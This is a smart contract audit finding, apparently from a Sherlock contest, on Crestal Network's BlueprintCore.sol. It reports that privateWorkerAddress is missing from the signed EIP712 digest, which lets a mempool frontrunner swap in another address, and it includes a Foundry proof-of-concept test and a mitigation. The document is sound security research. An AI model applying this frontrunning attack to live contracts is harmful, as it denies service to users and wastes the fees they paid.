Best Plastic Yak

Medium

# Attacker can change privateWorkerAddress for a users project.

### Summary

When creating an agent the [`privateWorkerAddress`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L494) is passed as a parameter but this is not part of the [request deployment digest](https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L502) that the user signs, this means that an MEV bot can see these transactions in the mempool and frontrun using the same parameters except for the `privateWorkerAddress`, this can be changed to any address the attacker wants and the transaction will be successful.

### Root Cause

In `BlueprintCore.sol` the functions `createAgentWithTokenWithSig`, `createAgentWithWhitelistUsersWithSig` and `createAgentWithSigWithNFT` all use EIP712 to get a request deployment digest and retrieve the address of the user with a signature passed through the parameters, that way the transaction can be executed by someone else on behalf of the user securely. 
The problem is that the `privateWorkerAddress` parameter is not part of the digest, this means that anyone can change this parameter to any address.

### Internal Pre-conditions

1. One of the functions the functions `createAgentWithTokenWithSig`, `createAgentWithWhitelistUsersWithSig` and `createAgentWithSigWithNFT` is called with a valid signature.

### External Pre-conditions

None

### Attack Path

1. MEV bot sees the transaction in the mempool
2. MEV bot frontruns transaction and executes the same function with a different `privateWorkerAddress`
3. Agent is now registered with a incorrect `privateWorkerAddress`

### Impact

A Malicious user can use this as a Denial of Service mechanism or simply to the delay the workflow of the contract.
For the 3 functions affected the attacked User  pays a cost to create the agent, with their NFT ownership or by paying using one of the allowed ERC20 tokens.

### PoC

This test can be added to the `BlueprintV5.t.sol` test file.
```solidity
function test_frontrunPrivateWorker() public {
        address attacker = makeAddr("attacker");
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://example.com";
        projectId = bytes32(0x2723a34e38d0f0aa09ce626f00aa23c0464b52c75516cf3203cc4c9afeaf2981);

        (bytes memory signature, address signerAddress) = generateSignature(projectId, base64Proposal, serverURL);

        // Add the payment address
        blueprint.addPaymentAddress(address(mockToken));

        // Mint tokens to the test account
        uint256 validTokenAmount = 100 * 10 ** 18;

        // set none zero cost for create agents, use any number greater than 0
        blueprint.setCreateAgentTokenCost(address(mockToken), validTokenAmount);

        mockToken.mint(signerAddress, validTokenAmount);

        // Approve the blueprint contract to spend tokens directly from the signer
        vm.prank(signerAddress);
        mockToken.approve(address(blueprint), validTokenAmount);

        // check allowance after approve
        uint256 allowance = mockToken.allowance(signerAddress, address(blueprint));
        assertEq(allowance, validTokenAmount, "sender does not have the correct token allowance");
        

        // 1. MEV bot sees the transaction in the mempool
        // 2. MEV bot frontruns transaction and executes the same function with a different `privateWorkerAddress`
        vm.prank(attacker);
        blueprint.createAgentWithTokenWithSig(
            projectId, base64Proposal, address(1), serverURL, address(mockToken), signature
        );
        
        // 3. User transaction reverts
        vm.prank(signerAddress);
        vm.expectRevert();
        blueprint.createAgentWithTokenWithSig(
            projectId, base64Proposal, workerAddress, serverURL, address(mockToken), signature
        );
    }
```

### Mitigation

Include the `privateWorkerAddress` in the request deployment digest.